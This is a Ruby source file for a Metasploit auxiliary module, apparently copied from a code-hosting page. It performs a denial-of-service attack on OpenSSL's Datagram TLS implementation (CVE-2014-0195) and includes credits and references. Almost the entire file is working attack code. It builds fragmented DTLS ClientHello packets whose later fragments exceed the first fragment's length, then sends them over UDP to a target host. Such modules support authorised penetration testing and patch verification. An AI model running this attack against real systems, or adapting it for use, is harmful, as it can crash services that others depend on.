81 lines
2.9 KiB
Ruby
81 lines
2.9 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Auxiliary::Dos
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include Exploit::Remote::Udp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'OpenSSL DTLS Fragment Buffer Overflow DoS',
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'Description' => %q{
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This module performs a Denial of Service Attack against Datagram TLS in
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OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h.
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This occurs when a DTLS ClientHello message has multiple fragments and the
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fragment lengths of later fragments are larger than that of the first, a
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buffer overflow occurs, causing a DoS.
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},
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'Author' =>
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[
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'Juri Aedla <asd[at]ut.ee>', # Vulnerability discovery
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'Jon Hart <jon_hart[at]rapid7.com>' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2014-0195'],
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['ZDI', '14-173'],
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['BID', '67900'],
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['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/ZDI-14-173-CVE-2014-0195-OpenSSL-DTLS-Fragment-Out-of-Bounds/ba-p/6501002'],
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['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Once-Bled-Twice-Shy-OpenSSL-CVE-2014-0195/ba-p/6501048']
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],
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'DisclosureDate' => 'Jun 05 2014'))
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register_options([
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Opt::RPORT(4433),
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OptInt.new('VERSION', [true, "SSl/TLS version", 0xFEFF])
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])
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end
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def build_tls_fragment(type, length, seq, frag_offset, frag_length, frag_body=nil)
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# format is: type (1 byte), total length (3 bytes), sequence # (2 bytes),
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# fragment offset (3 bytes), fragment length (3 bytes), fragment body
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sol = (seq << 48) | (frag_offset << 24) | frag_length
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[
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(type << 24) | length,
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(sol >> 32),
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(sol & 0x00000000FFFFFFFF)
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].pack("NNN") + frag_body
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end
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def build_tls_message(type, version, epoch, sequence, message)
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# format is: type (1 byte), version (2 bytes), epoch # (2 bytes),
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# sequence # (6 bytes) + message length (2 bytes), message body
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es = (epoch << 48) | sequence
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[
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type,
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version,
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(es >> 32),
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(es & 0x00000000FFFFFFFF),
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message.length
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].pack("CnNNn") + message
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end
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def run
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# add a small fragment
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fragments = build_tls_fragment(1, 2, 0, 0, 1, 'C')
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# add a large fragment where the length is significantly larger than that of the first
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# TODO: you'll need to tweak the 2nd, 5th and 6th arguments to trigger the condition in some situations
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fragments << build_tls_fragment(1, 1234, 0, 0, 123, Rex::Text.rand_text_alpha(1234))
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message = build_tls_message(22, datastore['VERSION'], 0, 0, fragments)
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connect_udp
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print_status("#{rhost}:#{rport} - Sending fragmented DTLS client hello packet")
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udp_sock.put(message)
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disconnect_udp
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end
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end
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